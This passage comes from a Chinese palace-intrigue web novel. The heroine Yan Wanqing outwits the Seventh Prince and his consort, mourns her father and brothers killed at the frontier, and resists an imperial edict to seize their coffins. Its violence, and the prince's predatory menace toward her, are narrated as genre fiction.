她看向云歌,身上绫罗绸缎穿戴着,应该深受萧鸿深的喜爱,这也不枉她耗费一番心神,将她送过去。 此时云歌见是燕晚清从铺子后面出来,也是愣住了。 她一下子就想起来当时燕晚清陷害她的事情。 “我道是谁这般目无王法,竟然敢让人抢了七皇子的生意,原来是安平郡主啊。”云歌上前两步,站在废墟这种,抬脚又在地上的布匹上狠狠的踩了两脚,心疼的掌柜的不忍直视。 燕晚清倒是没有什么反应。 “你可知你脚下的这块布匹价值多少银两?”送上门让她拿捏的,她燕晚清可不会手软。 云歌冷笑一声,倨傲道:“我管它多少银两,今日你这家铺子别想开下去。” “好大的口气。”燕晚清丝毫不慌张:“你不知道价值多少没关系,但是你得知道一件事情,这家铺子从来只为宫内的娘娘们服务,今日你派人砸坏弄脏的布匹,可都是明日要送到宫内。” “那又如何?送不过去的是你,又不是我。”云歌根本没有被唬住。 眼下七皇子一手遮天也不为过,宫内就连皇后娘娘都要让他三分,她身为七皇子最宠爱的女子,弄坏点布匹而已,宫内的娘娘谁敢多说一句什么? 这燕晚清怕不是拎不清。 “林嫣然你从流放路上逃匿回来,又到了七皇子府上,这可是欺君之罪,要杀头的。”燕晚清突然恍然大悟的说道。 林嫣然冷笑一声:“我叫云歌,可不是什么林嫣然。” 她的卖身契上清清楚楚的写着云歌二字。 七皇子也已经将之前的事情全部摆平了,她就不信燕晚清有通天的本事,能查得到她究竟是谁。 燕晚清捂着胸口倒退一步:“可是你的脸分明就是林嫣然的脸啊。” 云歌翻了个白眼,抱紧了怀中的宠物:“世上相像的人如此之多,郡主可不要乱说话啊。” 说着她又看向手底下的人,故意高声说道:“继续砸!” 云歌小姐在七皇子府上深受恩宠,她的话没有人敢不听的。 那些人将墙上挂的桌子上陈列的布匹全部撕烂丢在了地上,燕晚清表面上十分惧怕,被掌柜的拉着站在了角落里,其实心里毫无波澜。 羊毛出在羊身上。 萧鸿深今天怎么砸的,明天她就让他怎么还回来。 等到云歌的人嚣张的走了,燕晚清便让掌柜的当街嚎啕大哭,字字句句都和七皇子府上挂钩,因为云歌前段时间在烟花巷实在是太过于出名,所以很快便有人认出来,原来那天晚上一千两黄金拍下美人的竟然是七皇子殿下啊! 舆论被燕晚清稍微加工了一下,很快坊间便开始传闻七皇子奢靡沉迷女色,不尊重老臣,公然砸了镇国府的铺子,还理所当然等等一系列对萧鸿深不利的消息。 而七皇子府上,云歌本以为自己做了一件好事,等待着萧鸿深的夸奖。 却没有想到萧鸿深回来的第一件事情,便是掐住了她的脖子。 云歌吓坏了,她双手抓住萧鸿深的手,小脸通红:“殿下,殿下息怒!” 萧鸿深一想到自己回来路上听到的消息,就恨不得直接掐死眼前这个没长脑子的东西。 “你今日当着她的面砸了她的铺子?” 云歌知道她说的是谁:“是,是我干的。” 萧鸿深见她理直气壮,冷笑一声:“你以为自己是个什么东西!”他抬手将人直接丢下,云歌跌坐在软榻上。 看着她鼻子上的那颗痣,萧鸿深目光深邃。 “你可知今日的事情被安平加工成什么样子了?你可知今日回来的时候,那些老臣都是怎么弹劾本殿的!愚蠢的东西!” 萧鸿深对上燕晚清从来都是慎重不已:“谁让你自作主张的!” 而且竟然是当着她的面。 云歌哭的哀怨:“云歌只是想给殿下出气,那燕晚清自始至终就没有尊敬过殿下,还纵容手底下的人带着江湖草莽破坏殿下的生意,云歌不觉得自己做错了。” 第一百一十四章 躲不掉的命数,暴雨到了 萧鸿深见她如此,冷哼一声,居高临下的看着她。 “以你的脑子确实不觉得自己做错了。” 倘若不是为了这蠢货手中的账本,他早就让人把她丢去蛇窟喂蛇了,何苦纵容她到这种地步。 眼下朝中的老臣一直盯着自己,他有什么风吹草动,第二天都会被写成奏折送到父皇的手边上。 萧鸿深强忍住怒气,全身上下就那颗痣跟那个人在一个位置。 他再看她矫揉造作的姿态觉得反胃的很。 “没有本殿的吩咐,不许出这个门!” 萧鸿深气急败坏的摔门而去。 云歌着急跟了出去,刚要出门就被一只手给拦住了。 “云歌小姐,没有殿下的吩咐,您暂时不能出这个门。” 云歌看着对方寡淡的面容,抿了抿唇:“好,我不出去,我站在门边上等殿下。” 墨山看着云歌的模样,心中暗骂一声蠢货。 果然这件事情被皇帝知道之后,将萧鸿深喊到了御书房狠狠的训斥了一番。 燕晚清不过是废了些布匹,便让萧鸿深狠狠地下了一次脸,让皇后张岚依直呼解气。 天气越来越热了。 空气也越发的沉闷,空中乌云密布,颇有山雨欲来风满楼的气势。 燕晚清靠坐在窗边下棋,听着天边一声雷声从天空炸开,紧接着便是一阵马蹄声急促响起,她手里的棋子啪嗒一声掉在了棋盘上。 听着前院骤然响起来的哭声。 燕晚清缓缓的闭上了双眼。 该来的总会来。 躲不掉的命数。 塞北战败的消息传到了。 燕孙两家十四口男丁悉数战死沙场的消息,在雷声轰鸣中被整个京都悉知,所有人都笼罩在了阴霾之中。 从歌急促的从门外跑进来的时候,燕晚清一脸平静的换好了白衣,然后在她错愕的目光中抬脚走了出去。 所有人都在哭。 她看见燕子濯抱着母亲的大腿哭嚎着要爹爹要兄长。 看到五妹六妹抱在一直哭成了泪人。 看到镇国府的家丁丫鬟们每个人脸上都被悲伤包围。 在这溺死人的悲伤里。 她的目光和母亲孙青莲隔空相望。 她们心中的侥幸没有成功。 上天没有眷顾燕家的女人。 燕晚清抬起沉重的脚步走到了传唤消息的宫人面前:“我父兄还要多久回来?” 沙哑的嗓音响起,宫人看着她瓷白的小脸上的平静有些愣神。 这安平郡主未免太过于平静了些。 还有这镇国府夫人也没有掉下一滴泪水。 宫人愣了一下,回答道:“已经在路上了,可能七日便能到京都了。” “知道了。”燕晚清点头:“多谢公公。” 她从袖口拿出一个荷包,塞进了宫人的手里,然后十分自然的送走了公公。 “母亲,我出门采办要用的东西,七日之后接父兄回家。”燕晚清看向孙青莲说道。 孙青莲闭上双眼,缓缓睁开,她说:“去吧。” 这一切都已经是预料之中的事情,倘若真的如大女儿所说,那么接下来的一切都是不容忽视小觑的。 孙青莲咬牙强忍住从胸口就要溢出来的悲痛,这一日她失去了自己的丈夫,三个儿子,包括长子燕黎安、老三燕元白、老四燕兴朝。 可是她身为镇国府夫人,此刻决不能倒下。 孙青莲死死的攥住自己的衣角,用力喊道:“大家都收拾收拾一下镇国府,七日之后接他们回家。” 街道上。 燕晚清一身白衣在人烟稀少的街道上缓慢的走着,天边的雷声还在轰隆作响,平地而起的风吹得人睁不开眼睛,摊贩们早就收拾好了摊子,等待着在大雨来临之前回去。 唯独只有燕晚清一个人走在外面。 她形同鬼魅一般,一步一步的抬脚往前走着。 身后的从歌和一群家丁们不敢跟太紧,生怕会看见她的难受。 可是没有,燕晚清从头到尾都很平静,买完了东西燕晚清便吩咐着人将东西都送回了府上。 “小姐不回去吗?” 燕晚清面对从歌的疑问,她摇了摇头。 “我还有事情。”有人在等着她上门,自己怎么能够不如他的愿呢? “你们不用跟着我。”燕晚清说完抬脚朝着前面走去。 她要去七皇子的府上。 此时天边黑云压城,暴雨在即。 燕晚清不躲不避,她越惨,才能越让萧鸿深信任自己。 大雨倾盆而下,她一身白衣在雨水中举步前行。 这等怪异的行为让不少百姓开门驻足观看,燕晚清却像是感知不到一样,一路前行,直至停在了七皇子府邸外面。 她在大雨之中高声喊道。 “安平求见七皇子殿下!” 大门紧闭,燕晚清死死的盯着那扇门,没有一丝退却的意思。 突然一把伞照在自己的头顶上。 燕晚清回头看见李家的大小姐李呈祥,她有些错愕。 李呈祥心疼的看着燕晚清:“郡主。” 燕晚清从伞下走到了雨水中:“这是本郡主的事情,与他人无关,李大小姐本郡主知你是好心,可是多一事不如少一事,你不要多管闲事了。” 李呈祥被说了一通,非但没有退缩,反而故事的将伞塞到了燕晚清的手里。 “郡主和燕六小姐都是好人,我李呈祥虽然没什么出息,但是知恩图报是知道的,郡主等一下臣女。”她说着冒着大雨冲到了大门口。 李呈祥对着大门里面的人喊道。 “吴城南你要是有良心就开门出来见我!” 门内的吴城南根本没有想到会听到李呈祥的声音,一时之间有些按捺不住,却被柴右给拉住了。 “不可,七皇子说了,要给安平郡主一点苦头吃吃。” 吴城南指了指门外:“那是我的结发妻子,不是什么安平郡主。” 李呈祥自小就娇气的很,淋了雨都要感冒的。 吴城南有些心急。 柴右拉着他不松手:“你都被休了,什么结发妻子。” “你松手!” 柴右摇了摇头。 吴城南不耐烦的的伸出手去扯开柴右,正拉扯的功夫,两个人身后传来脚步声,只看见萧鸿深一脸阴沉的出现,他们二人瞬间弹开。 “人还在门外?”萧鸿深问道。 柴右点头:“郡主已经淋了一会儿雨了。” 萧鸿深目光阴翳:“哼,死不了就行。”说着他转过身直接离开。 柴右目光深处闪过一丝恼怒,但是很快消散。 另一边的吴城南倒是有点忍不住了:“开门让李呈祥进来便是,我不去管安平郡主的死活。” 柴右轻叹了一口气:“说好了,这可不管我的事情,殿下怪罪下来——” “我一人承担便是!”吴城南说着直接挥手让门人打开了门。 入眼便是李呈祥淋的跟个落汤鸡似的画面。 “你疯了不成!跟着郡主身后闹什么!”吴城南扯过门人手里的伞便跑出去,遮在了李呈祥的身上,看着她浑身湿透,他直接脱下来身上的衣服。 “走,先进去。” 吴城南伸出手拉李呈祥,李呈祥却站着不动。 “你去和七皇子说说,就说郡主要见他。” 吴城南目光落在雨幕之下惨白单薄的身影上,十分无奈:“这但凡是我能说的上话的,肯定会说,只是现在七皇子忙着政务,旁人不能擅自打扰啊。” “那让郡主进去等。”李呈祥说着,突然余光看见燕晚清身子一歪,直接晕倒了下去,吓得她一把推开吴城南,快步朝着那边赶去。 “安平郡主!” 第一百一十五章 求人,得有求人的样子 “安平郡主悲伤过度,再加上淋了雨水,所以这才会晕了过去。”大夫收回了手,对着萧鸿深说道。 萧鸿深看着床榻上巴掌大小的脸蛋,那双潋滟清冷的双眸紧紧的闭着,他嗯了一声。 “柴右你送大夫出门。” 柴右领着大夫出去:“这边请。”一直将人送到了门口,柴右还体贴的送上了伞,在没有人看到的角度,他冲着大夫点了点头。 是的,大夫也是燕晚清的人。 萧鸿深居高临下的看着燕晚清,又看见她身上的衣服都是湿的。 于是他喊人唤来了云歌。 云歌这么长时间没有见到萧鸿深,兴高采烈的跑过来,谁知道在书房里看到了燕晚清,她一下子就愣住了。 “殿下……” 云歌皱眉:“她为什么在这里?” 萧鸿深面无表情:“你去给她换一身干爽的衣服。”丢下这句话,他直接转身离开。 云歌一口气卡在胸口,上也上不去,下也下不来。 看着榻上的燕晚清,她气得五官都扭曲了。 这个女人为什么会出现在这里! 殿下竟然让她给这女人换衣服? 简直是岂有此理! 看着床榻上虚弱不堪的燕晚清,云歌眼中闪过阴狠,她拿过边上一把匕首,直接拔了出来,朝着床榻逼近。 “不是要换衣服吗?本小姐就好好的给你换!” 那匕首泛着森冷的光朝着燕晚清的脸逼去。 看着白皙没有丝毫瑕疵的脸,云歌眼中都是嫉妒。 “刮花了你这张脸,看你还怎么去勾引殿下!” 匕首眼看着就要在燕晚清的脸上戳出一个伤口,云歌的手腕猛地被捏住了。 只听见冰冷的没有一丁点情绪的声音响起。 “你想干什么?” 燕晚清刚才就醒了,就是想要看看这云歌想要干什么。 没有想到她的胆子这样大,竟然想要刮花自己的脸。 云歌的手腕被捏住,疼的她皱眉:“你松手!” “松手?”燕晚清冷哼一声:“好啊。” 她猝不及防的松了手,云歌捏着匕首跌坐在了地上。 看着燕晚清浑身湿漉漉的从榻上坐起来,云歌猛地站起身:“你来殿下想要干什么?” “干什么,本郡主无需向你交代。” 云歌看着她依旧是高不可攀的模样,心中忌恨不已:“本小姐听说了,镇国府和将军府的男丁悉数战死沙场,安平郡主现在像个丧家之犬跑来七皇子府上,可是想要替燕家寻求一个庇护?” 燕晚清冷着一张脸没有说话。 云歌便觉得是自己说得对了。 她哈哈大笑出声:“是了是了,你这生来便在高位的人,最害怕的事情便是跌下来,没有了父兄你燕晚清就什么都不是,不过可惜了,眼下七皇子殿下根本就看不上你们燕家了,你以为你还是当初那个人人可敬的安平郡主吗?没有镇国公,你算个屁!” “大雨天摆出这副可怜唧唧的样子,装腔作势的想要给谁看呢!”云歌捏着匕首,不断靠近:“还是说,当初清高的安平郡主,现在一朝落魄了,也想要学学本小姐以色侍人?勾引殿下么?” 云歌的话十分的难听。 燕晚清明显是被她说的话气到了,胸脯不断起伏,一直喘着气。 云歌见状心中更加得意。 没有什么比贬低这安平郡主更让她愉悦的事情了。 匕首被她捏在掌心中,慢慢的又贴上了燕晚清的脸蛋,声音微冷:“可惜了,殿下现在有我了,哪里还看得上你!” “是么?”燕晚清原本气愤的脸上闪过了一丝诡谲,云歌心中暗叫一声不好,紧接着便感觉到手中的匕首猛地脱力,噌的一下在燕晚清的脸上划出一道血痕,紧接着便听见燕晚清尖叫一声,身后的大门被猛地推开了。 云歌几乎是被人直接掐着后颈丢在了地上。 在她的视线里,萧鸿深着急忙慌的走向了燕晚清,而那个诡计多端的女子单手捂着自己的脸,眼眶中都是恐惧的泪水。 “是她!是她自己动的手!不是我……”云歌感觉这一幕似曾相识。 萧鸿深将燕晚清的手拿下来,看到她的右脸上一道匕首擦出来的伤口,此刻正在往外渗血,眼神一下子就阴沉了下去。 燕晚清将手挣脱开来,重新捂在了脸上,声音受伤。 “殿下既然这般不欢迎本郡主,直接回绝便是,无需用此等下作的手段来侮辱本郡主!” 她说着挣扎着从床榻上下去,被萧鸿深一把按住了肩膀。 “不是本殿。”萧鸿深解释道,他目光落在跌坐在地上的云歌,还有她手边上的那把匕首后,眼里的风暴便再也遮盖不住了。 “你什么身份,胆敢伤了郡主!”萧鸿深大手一挥,从外面便走进来仆人,直接将云歌摁着跪在了地上。 萧鸿深摆摆手:“关进柴房,三天不给她饭吃,仗着本殿的宠爱便以为能够无法无天了,简直是岂有此理!” 云歌想要解释,但是家丁们已经用手捂住了她的嘴,防止她在发出一点声音。 她看着萧鸿深背过身去走到了燕晚清的边上嘘寒问暖,眼眶中的泪水迅速积聚落下。 他,为何从来都不肯听自己解释呢? 林嫣然的时候是这样。 云歌的时候也是这样。 他的目光凝聚的地方,从来都不是自己。 云歌眼神中闪过破败,最终无声被家丁们拖了下去。 燕晚清浑身湿透,坐在榻上瑟瑟发抖,萧鸿深看着她娇小可怜的模样,突然扯开唇角低笑了一声。 燕晚清错愕的抬头看他。 “印象中,老师从来都是运筹帷幄的,没有想到过你还有这般脆弱的样子。” 脆弱的只有他才能看见的样子。 萧鸿深似乎被燕晚清现在的样子愉悦到了。 燕晚清压制住心底的厌恶,她移开视线,神色冷清:“人心都是肉长的,我也非圣人,也是有七情六欲的。” 萧鸿深见她语气放软,便直接大胆的坐在了塌边上。 “消息本殿听说了,节哀。” 燕晚清抱着膝盖没有吭声。 萧鸿深突然伸出手放在了她的肩膀上,燕晚清超后退了半步:“多谢殿下体恤。” “老师若还是向从前那般拒人于千里之外,本殿可能根本没有办法帮到老师,心细如你,应该知道此番战败圣上一定会找个替罪羊,倘若不是这样,你又何苦冒着大雨站在本殿的门外呢?” “燕晚清……求人,得有求人的样子。” 萧鸿深阴柔的面庞闪烁着得意的笑容,恍若一条在黑暗之中窥伺到猎物的毒蛇,死死的盯着自己的猎物。 第一百一十六章 休怪她,血洗长安城 见燕晚清不说话,萧鸿深又往前探了探,他伸出手直接掐住了她的下巴,用力捏着她的脸蛋面向自己。 “云歌说的话没有错,镇国府没有了镇国公,现在就是一盘散沙,你也不是当初那个炙热骄阳的安平郡主,这种情况下,你除了依附于本殿,你还能有别的选择么?”萧鸿深想了想,又说道:“原本东宫里可能还能有个可以帮助你的人,但是现在他已经远在北方,燕晚清,你没有选择了。” 在他的视线里,燕晚清仰头看着他,原本清冷总是如冰山雪莲那般没有情绪的绝美面容上,此刻鼻尖通红,眼眶中积聚着晶莹剔透的泪水,脆弱的好似他轻轻一碰便会疼的哭出声来。 萧鸿深眼底的兴奋便再也按捺不住了。 真的,好想……好想让她哭出来。 燕晚清见他眸底暗光跳动,心中冷笑不止,面上却依旧弥漫悲伤。 “依附,可以是很多种,你说的那种,本郡主不愿。” 萧鸿深凑近过来,细致的看她面上的每一寸表情,指腹在她刚刚被匕首割伤的伤疤上一用力,鲜血再次顺着伤口留了下来,他伸出舌尖舔舐了一下指腹上的鲜血,整个人十分的亢奋。 “你以为你还有其他的选择么?”他阴沉的笑:“本殿要你的人,也要你的心,还要你死心塌地的为本殿谋前途,倘若不是这样,今日你就请回吧。” 燕晚清抿着唇没有说话。 萧鸿深也不着急,他知道这是急不来的事情。 燕晚清的性子一直都是这样,逼急了她可能会鱼死网破。 萧鸿深对于她的手段,心里还是有些忌惮的。 见状,他语气轻柔了些许:“衣服在旁边放着,你先换上吧,本殿出去等你。”说着他径直起了身,朝着门外走去。 燕晚清的目光一直盯着他关上了门,她无声的松了一口气,然后用力用手在伤口处狠狠的搓了搓。 被他碰过的每一个地方,都让她恶心的想吐。 燕晚清换好了衣服,整个人干爽舒服了点,她走到了桌前,倒了一杯热茶,一饮而尽,整个人才松懈下来。 仅仅剩下七日的时间。 萧鸿深在书房里收到了墨山说燕晚清换好衣服就直接出府的消息。 他点了点头,继续看手里的奏折。 墨山不解:“就这样让郡主走了?” 萧鸿深似乎心情十分的好:“逼急了,可不好,她毕竟叫燕晚清。” 不是什么阿猫阿狗都能叫燕晚清的。 墨山面无表情,眼眸中闪过忌惮的光芒。 是的,不是什么阿猫阿狗都能叫做燕晚清的,这个安平郡主不能用对付寻常女子的手段去对付她。 接下来萧鸿深不断听说了燕晚清拜访了朝中很多老臣,但是大多数都被拒之门外。 他对她的行为了然于掌。 这些大臣得到了他的授意,自然是不敢再去接触燕家人的。 所以燕晚清最后只能选择和自己合作。 往日被她忽视的苦痛,不久后就能全部稀释得偿所愿,这叫萧鸿深怎么能够不兴奋激动呢? 燕晚清啊燕晚清,本殿可真是太期待你在本殿身下委曲求全又无法克制的浪荡模样了…… 那张脸。 萧鸿深想到这里,唇角微勾。 真想知道那张脸动了情,会是何种风情。 …… 贵妃娘娘的肚子越发的大了,距离临盆也没有几日。 宫人们得了皇后的指令,压根没有人敢在孙涟漪面前提将军府发生的事情。 孙家的人也根本没有办法到宫里来。 只是张岚依路过贵妃的寝殿的时候,总是觉得里面安静的可怕。 不知道为何,她总感觉孙涟漪好似是知晓了一般。 而昏暗的寝殿之内。 孙涟漪坐在烛光前面,面前的桌子上放着一个锦囊,里面空空如也。 最后一块纸片在她的指尖燃烧殆尽,火光映衬着她阴暗不明的面庞,分明是个怀胎要临盆的妇人,可是眸光深处却处处都是寒光。 “谋,则生,不谋则死。”她呢喃出声。 镇国府和将军府已经将红色的灯笼悉数换下,挂上了白色的灯笼。 仆人们也都换上了素衣,京都显赫一时的两座府邸,充斥着灰暗与破败。 本来干干净净的大门口,此刻也堆满了落叶和灰尘。 有些权势,一夕之间能起,一夕之间也能坍塌。 尤其是镇国府,整日里大门紧闭,无人能够窥探到里面究竟发生在上演着什么。 燕晚清连续几次吃了闭门羹,大臣们避她如蛇蝎,不是说自己生病,就是不在家,反正就是不见她。 常胜将军战败,圣上龙颜大怒,怒斥镇国府和将军府让大渭国威不存,区区一个雁门关都守不住。 是啊,区区一个雁门关都守不住。 燕晚清坐在屋中,周身一片漆黑。 她双眼晶亮,脑海中将雁门关的图纸过了一遍又一遍。 到底为何守不住呢? 她托给万空师太飞鸽传信过去的消息,父兄应该是看见了的啊。 既然是看见了,又为何还会守不住? 燕晚清想不明白。 这几日她整宿整宿的睡不着,脑海中一直在反复思考这个问题。 哪怕是父亲想要乘胜追击,她那个沉稳的嫡兄燕黎安又怎会轻易同意呢? 他最是冷静沉稳。 更何况还有了她的提醒。 燕晚清双手捂住自己的面庞,她用力的搓揉。 这件事情,前世她没有弄清楚,这一世不管付出怎样的代价,她都要搞清楚雁门关究竟是怎么失守的,父兄又是怎么死的! 区区一句雁门关失守,便想要掩盖她父兄死守前线的功劳。 皇帝,休想! 燕晚清舌尖抵着虎牙,露出一抹嗜血的微笑。 明日便是第七日。 父兄们回家的日子。 明日谁若是敢挡了她父兄的回家路,休怪她燕晚清血洗长安城! “红雾否极。”她低低的喊道:“把我们的人全部召回来,明日神挡杀神,佛挡杀佛。” 红雾否极跪在地上,表情沉痛:“诺!” 镇国公和孙大将军,连绵战场不知杀了多少敌寇,守卫着大渭的江山,可是这几日这些后方安逸的臣子们,竟然连门都不给燕晚清开一个。 都是懦夫! 哪里配得上镇国公和孙大将军的誓死守卫! 红雾和否极领命而去。 燕晚清继续坐在屋内,一动不动,安静的好似一个雕塑。 第一百一十七章 再有妨碍公务者,杀 六月十三。 阴。 城门大开。 镇国府夫人孙青莲带着燕家人素衣站立在大门口,素日里不曾露面的小姐公子们悉数都面露哀伤的站在了她的身后。 燕晚清站在孙青莲的手边上,发髻上除了一朵百花什么都没有,耳饰都没有带上一个。 夹道两岸站满了不请自来的百姓,大多数人也是一身素衣,从镇国府绵延一路到了城门外,没有人组织他们,但是这一日他们就是来了。 这让燕家的人看见了,心中有些欣慰。 原来还是有人记得的。 百姓们还记得镇国公这些年的功勋,知道在今日接他回家。 不知道人群中谁先说了一句:“回来了!” 燕晚清跟着心漏了半拍,和母亲孙青莲快步走到了街道上。 只看见远远的铁甲军在最前面,那本该迎风飘扬的大渭旗帜,此刻也裹在了桅杆之上,无法动弹。 在铁甲身后跟着十四口黑色的棺木,有燕家的,有孙家的…… 百姓中有人还是掩面而泣,紧接着便是更多的人开始哭泣。 燕晚清超前走了一步,她紧紧的握住母亲孙青莲的手。 越来越近…… 终于,铁甲军停了下来。 燕晚清注意到,为首的甚至都不是燕家军。 雁门关一战,燕家军竟然片甲不还? 她心中大骇,上前两步,却看见周身漆黑的棺木粗糙,狭窄,一看便是草草了事,她伸出手颤抖的按在了第一个棺材上。 “父亲……” 原本咬着下嘴唇不肯哭泣的燕子濯,在听见这一声之后彻底绷不住,嚎啕大哭起来,燕凌珍将他抱在了怀中,眼眶同样猩红。 孙青莲身后的孩子们悉数扑到了棺材前面,开始一声声的喊着,父亲、兄长…… 燕晚清面色惨白,这一幕也是上一世经历过的。 她死死的咬着下嘴唇,双眼紧闭之后又睁开。 “都让开,让父兄进门!” 燕晚清让开,铁骑们刚搬着第一个棺材下马车,便听见远处传来急促的喊叫声:“等——!” 眼看着高头大马奔驰而来,燕晚清眯着的双眼里已经布满了杀机。 该来的,总会来。 这一世没有王书剑,也会有别人。 等来人靠的越来越近,他单手抓着明黄的诏书举在天上,燕晚清看清楚了来人的面容。 燕安。 竟然会是燕安。 燕晚清觉得这一幕极其可笑。 只见燕安手持着诏书,坐在白色的马匹之上,他将十四口棺材熟视无睹,反倒是目光落在孙青莲身上,眼神阴狠:“圣旨到,接诏吧!” “下马。”孙青莲冷着脸看着燕安说道。 燕安手里握着缰绳,马头摇摇晃晃,此情此景十分的不庄重。 让周围的百姓都面露不善起来。 但是燕安好不容易抓住了这种能够羞辱燕家羞辱孙青莲的机会,又怎会轻易听话下马。 “本官要宣读诏书了,尔等还不速速跪下接旨!” 燕晚清见燕安依旧如此,她双眸微眯:“听不到我母亲说,让你下马吗!” 众人只觉得这一声如同雷声在耳边炸开,再看向燕晚清的目光带着惊疑。 燕安身下的马匹被燕晚清这一声吓得开始原地弹跳,燕安握着缰绳吓得魂飞魄散,他惊恐的宠着铁甲军喊道:“都瞎了吗!快救救本官啊!” 铁甲军手握长剑,直接砍断了发疯马匹的头颅,鲜血怒溅三尺,血滴溅在了棺材身上。 燕晚清的眼里的杀意也跟着多了几分。 燕安得了救,从死去的马身上下来,惊魂甫定,对着铁甲军便是破口大骂:“你们这群莽夫,本官还在马上,你们竟敢杀马!” 为首的人一言不发的低着头,将燕安的怒骂直接无视掉。 燕安气急败坏,但是没有忘记自己的任务。 只见他环视燕家一群素衣,除了那毛没有长齐的小七还是个男丁,其余都是女眷,见状他忍不住冷笑一声。 真是秒啊。 三十年河东,三十年河西。 谁能想到他英明神武的大哥有战死沙场的这一天呢? 而且还是战败! 他尊敬的将诏书展开,冲着孙青莲再次喊道:“跪下接旨!” 孙青莲不卑不亢的跪下,身后也跟着跪了一群,原本燕晚清是不需要跪的,但是今日她也跪下了。 她要跪。 只是这一跪,得有人拿命还。 燕安见燕晚清也跪下了,心中更加得意。 倘若不是情况不对,他真想仰天大笑三声。 当真是爽快啊! “奉天承运,皇帝诏曰,镇国公镇守雁门关不利,致城门失守叛国一事存疑……滋以收存镇国公在内十四口棺木于大理寺,待事件真相大白之后归还……钦此!” 孙青莲听完诏书,跌坐在了地上,燕红昭跪着上前几步扶住了她:“母亲……” 孙青莲双眼猩红:“我夫君一身清白,为国为民,为大渭守卫江山数载,怎会做出通敌叛国的事情,陛下究竟是听了谁的胡言乱语!” “大胆!”燕安怒骂一声:“你胆敢质疑陛下的质疑,可是想要挨板子了!” 他仗着铁甲军在内,大理寺的人也跟在后面,很快便会过来收走棺材,所以燕安底气十足。 孙青莲从地上爬起来,夺过诏书,字字句句看的真切之后,她心中悲凉,仰天大笑出声,笑着笑着眼眶中的泪水便顺着脸颊淌进了发间。 那笑声闻者无不掩面哭泣。 “这镇国府的灵堂都设了,现在要带走人,简直是岂有此理……” “是啊,这也太不近人情了,雁门关距离京都数千里,天气又颜色,尸身不好保存,收到大理寺去,也不知道什么时候才能够查清楚,镇国公一身戎马,却没有想到死后都不能入土为安,简直是让人扼腕叹息啊……” 百姓们七嘴八舌的说着,民愤已起。 燕安见状直接冷下脸来,看着铁甲军说道:“你们都是死的吗?听不到有人在议论陛下吗?!” 铁甲军拔出了长剑,百姓们瞬间噤声。 燕安心中得意。 正要让人开始动手,谁知道迎面便是一盆水直接泼在了脸上。 谁也没有想到孙青莲竟然会抢过百姓手里的洗菜水,直接泼在了燕安身上。 只听见她破口大骂。 “这棺材里躺着的是你大哥!你的良心是被狗吃了吗?!燕安,你真是枉为人!” 燕安从官帽上捏起一根菜叶子,面上不善看着孙青莲:“现在想起来我是谁了?当初你们是怎么对我的?孙青莲,不是不报,时候未到!我大哥没了,看你以后怎么嚣张的起来!” 他面色冷戾,吩咐道铁甲军:“都愣着干什么!再有妨碍公务者,杀无赦!” 铁甲军首领抿着唇,他双手紧握长剑,看得出是十分的不情愿听燕安的话。 他觉得燕安这种连兄长都不顾及的人,确实如镇国府夫人所言,枉为人。 但是他是吃公粮饭的,燕安此刻代表的是陛下。 他身为铁甲军,只能听从。 于是他沉声说道。 “再有妨碍公务者,杀!” 第一百一十八章 白骨森森,血流成河 大理寺的谢群带着人过来的时候,就是燕安站在燕家人面前耀武扬威的小人模样。 他从马上翻身下来,一路小跑到了边上。 燕安见谢群过来,便直接命令道:“谢大人来的刚好,带走吧。” 谢群愣了一下,他皱了一下眉头,刚要抬手让人拉走。 旁边一直没说话的燕晚清,低着的头抬了起来,她看着谢群,冷冷两个字:“谁敢。” 谢群抬起的手一下子就落了下去。 燕安盯着燕晚清:“你这是要抗旨?” “不敢。”燕晚清不卑不亢,她唇瓣干裂,整个人形容憔悴,可是这一刻她依旧能够落落大方,让人看着无端的心疼。 燕晚清若是抗旨不遵,那便是让父兄们黄泉路上都走的不干不净。 她不能让父兄们背负这样的骂名。 不是她没有实力去反。 而是此时此刻,她不能。 她父亲那般骄傲的人,怎么能够忍受如此冤屈的污蔑呢? “人死不能复生,将棺木拉到大理寺放着无疑是在让我父兄黄泉之下不得安息,陛下英明神武,怎会做出如此让老臣寒心的事情,不如这样,今日让我父兄进灵堂,我燕晚清随你回大理寺!” 她站的笔直,双手直接伸到了谢群的面前:“你觉得怎么样?谢大人。” 谢群还没有吭声,旁边的燕安就等不及了:“你敢质疑陛下圣旨!” 燕晚清抬眼看去:“臣女是在提供一个解决方案,毕竟百善孝为先,我父兄尸骨未寒,又戎马一生,不能让他们死了也不得安宁。” “您说呢!国师大人!”燕晚清突然高声冲着远处的人喊道。 一个仙风道骨的道士坐在毛驴身上一摇一晃的朝着这边过来。 这一世,燕晚清第一次见到宋化虚。 在这种情况下。 宋化虚的毛驴挤开了一边的燕安,停在了孙青莲的面前。 他从毛驴上下来,递给孙青莲一方干净的帕子,跟她说了几句话,然后走到了燕晚清的面前,看着她的模样,宋化虚点了点头:“辛苦了孩子。” 燕晚清低下眉眼:“见过国师大人。” 宋化虚叹了一口气,看向了燕安:“你与镇国公也是手足关系,如此行为确实让人寒心,想来陛下也是气头上,事后定会觉得此事不妥,届时你又要如何收场?” 燕安张了张嘴:“可是……” “陛下那边老道前去解释便是,眼下还是先让镇国公进门要紧。”宋化虚语重心长的说道。 燕晚清顺势说道:“谢过国师大人。”她看着燕红昭说道:“愣着干什么!接父亲回家!” 燕红昭天生奇力,见阿姐吩咐,便直接走到了棺材面前,就要抬走棺木,燕安一只手摁在了棺材上:“大胆!你们胆敢违背圣旨!” 宋化虚见燕安如此柴油不进,也是冷下脸来:“燕大人好大的官威。” 燕安赶紧收回手,低头:“不是的国师大人,只是这是陛下旨意,微臣也是听令行事,眼下谢大人也在这里,这样下去,恐惹怒圣上啊。” “老道说了,圣上若是龙颜大怒,便有老道一人之力承担,与你和谢大人无关。” 宋化虚一字一句的说道。 他说完也不等燕安回复,直接吩咐铁甲军:“动手吧。” 铁甲军的首领轻蔑的扫了燕安一眼,然后迅速让人开始搬下棺材,一个接着一个的抬进了府内。 棺材全部搬进去之后,燕晚清站在大门口,她什么话都没有说,朝着围观的百姓们盈盈一拜,百姓们哗然之下纷纷回礼,燕晚清眼眶微热,抬脚转身走进了府内,至此镇国府大门紧闭。 门内。 燕晚清跟宋化虚道谢:“多谢师父。” 前世也是这样,危急关头,宋化虚出现了。 这一世她并不确定,所以做了两手准备。 倘若宋化虚这一世不出现,那么她便要掀起民愤,让皇帝直接下不来台。 好在是宋化虚出现了,不然事情要更为棘手。 